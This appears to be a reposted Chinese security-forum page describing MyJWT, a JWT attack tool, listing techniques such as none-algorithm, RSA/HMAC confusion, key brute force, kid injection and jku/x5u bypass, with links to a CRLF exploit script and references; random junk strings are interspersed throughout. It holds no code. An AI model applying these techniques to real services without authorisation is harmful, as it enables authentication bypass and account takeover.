+ d0 F% |' L) v, x. C3 u 项目地址 6 \7 }, s6 f# D# \' \$ k# N5 R

. o, _1 h! j! \2 M$ B

https://github.com/tyki6/MyJWT/ * l, ^1 J$ p5 l" ^

: o' k+ G9 w) _# \0 V- F9 m) O% a

3 [! Y- `3 P$ ?& _. J/ S

' D, ~4 P! L6 W# t$ F1 r8 N7 u) ^3 D   " G: d+ \. E8 z8 G+ t( m* b8 [

1 A2 O& o$ @) h/ ^8 t% }

功能说明 3 J0 h: ]% ^) }4 p' y

• : V- V' f( j; v" e6 k' f6 C+ h copy new jwt to clipboard : b: [2 v$ [! Z* x+ D$ y7 g" J
• user Interface (thanks questionary) ' S2 w6 }4 t ^, `# w+ I" ~/ h
• ; m5 D' e! ?6 o; A# d color output 7 C' f& o- e0 j8 {* K/ e# N& I$ Q
' B8 k5 B0 Y1 [* `7 j$ W z0 h" G
• modify jwt (header/Payload)
- n3 v* G$ g L7 o: L5 Y# A/ n
• 7 |0 f$ x: o# ^ None Vulnerability B0 F1 m2 O7 V/ c
0 c8 h: n+ e6 R3 g) e$ ^
• RSA/HMAC confusion # W# i: d5 l( m" L; w5 F
• . j, Z8 Y1 w' J" ~- A9 C Sign a jwt with key , C# e. b* I, l! [
• Brute Force to guess key ; y! F+ O0 X* M# N' l
3 P6 `; ^; x" ]% x9 U$ O2 _
• crack jwt with regex to guess key $ Q8 Z; Q: N; S* R) C3 H3 R
• kid injection
' Q' Y' m/ n8 f0 ~8 ?5 O! ]
• 7 T% i! {. Z& n3 u$ ^ ^$ e( \+ g" r Jku Bypass ) Y$ ?% o+ \( v& a. L4 Q
9 ~: c. y. o1 S- q, | \
• X5u Bypass

: I7 k4 i4 }1 D# s/ i. v8 B, j- k+ l5 h

辅助脚本

脚本地址 + G% x; i) r; h0 }- E) o

https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f

脚本功能

7 ^$ Q& n: R8 u# a. L G9 [

用于利用CRLF漏洞的脚本 x7 F( n L4 j5 G! _0 `

, g. O+ {, o0 y

参考链接

( o) { g' B6 c0 m4 g https://1024tools.com/hmac
% f; O9 ?" r* k- X0 g5 ghttps://github.com/ticarpi/jwt_tool
https://www.anquanke.com/post/id/236830
( u4 V; ~* X1 ]- B5 fhttps://www.freebuf.com/articles/web/337347.html
https://digi.ninja/projects/authlab.php#landleakyjwt
https://attackdefense.com/challengedetails?cid=1424
https://github.com/wallarm/jwt-s ... er/jwt.secrets.list
https://portswigger.net/web-secu ... nverified-signature 8 l6 b% j x( C% M% k

# W+ l: h" v% d8 q

# I2 R. F* z- j9 `6 w  

' \3 d+ n3 X7 l" b/ z6 r

4 H/ {6 L) [( ^* Q" i( S
• + d: c* X2 g: d: N   ( m" z. G/ M7 q$ L

! @3 ~/ U/ \" Q2 e8 s+ ~# m

原文地址：https://xz.aliyun.com/t/12906

% U/ q7 i! u# _# [ U1 z+ A. z

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

  3 V! F* W) w* ^/ _7 n4 R$ v

+ ]- ?6 D1 J+ n+ ]" ~   8 J& M" n$ d# k7 @